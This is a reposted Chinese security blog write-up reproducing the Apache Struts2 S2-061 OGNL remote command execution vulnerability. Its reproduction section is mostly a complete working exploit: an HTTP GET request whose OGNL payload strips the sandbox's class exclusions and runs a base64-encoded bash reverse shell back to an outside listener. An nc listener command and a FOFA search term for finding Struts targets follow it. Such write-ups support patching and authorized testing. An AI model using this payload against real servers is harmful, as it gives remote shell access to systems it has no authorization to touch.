-Struts2-061 远程命令执行漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-Struts2-061 远程命令执行漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。在Struts2-061中,Struts2会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。

图片[1]--Struts2-061 远程命令执行漏洞-安全小天地

0x03 漏洞复现

漏洞影响:Struts 2.0.0 – Struts 2.5.25

FOFA:Struts2

1.构造exp执行反弹shell命令,这里bash命令需要base64编码再解码https://ir0ny.top/pentest/reverse-encoder-shell.html

GET /?id=%25%7B(\'Powered_by_Unicode_Potats0%2Cenjoy_it\').(%23UnicodeSec%20%3D%20%23application%5B\'org.apache.tomcat.InstanceManager\'%5D).(%23potats0%3D%23UnicodeSec.newInstance(\'org.apache.commons.collections.BeanMap\')).(%23stackvalue%3D%23attr%5B\'struts.valueStack\'%5D).(%23potats0.setBean(%23stackvalue)).(%23context%3D%23potats0.get(\'context\')).(%23potats0.setBean(%23context)).(%23sm%3D%23potats0.get(\'memberAccess\')).(%23emptySet%3D%23UnicodeSec.newInstance(\'java.util.HashSet\')).(%23potats0.setBean(%23sm)).(%23potats0.put(\'excludedClasses\'%2C%23emptySet)).(%23potats0.put(\'excludedPackageNames\'%2C%23emptySet)).(%23exec%3D%23UnicodeSec.newInstance(\'freemarker.template.utility.Execute\')).(%23cmd%3D%7B\'bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGx2L3Rjcx8xOxuMTY4LjEuMTkvNzc3NyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D\'%7D).(%23res%3D%23exec.exec(%23cmd))%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=node0k04gqtzeyn2i1gqjt0i45r4kz0.node0
Upgrade-Insecure-Requests: 1

2.nc监听,得到一个shell

nc.exe -lvvp 7777
图片[2]--Struts2-061 远程命令执行漏洞-安全小天地
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容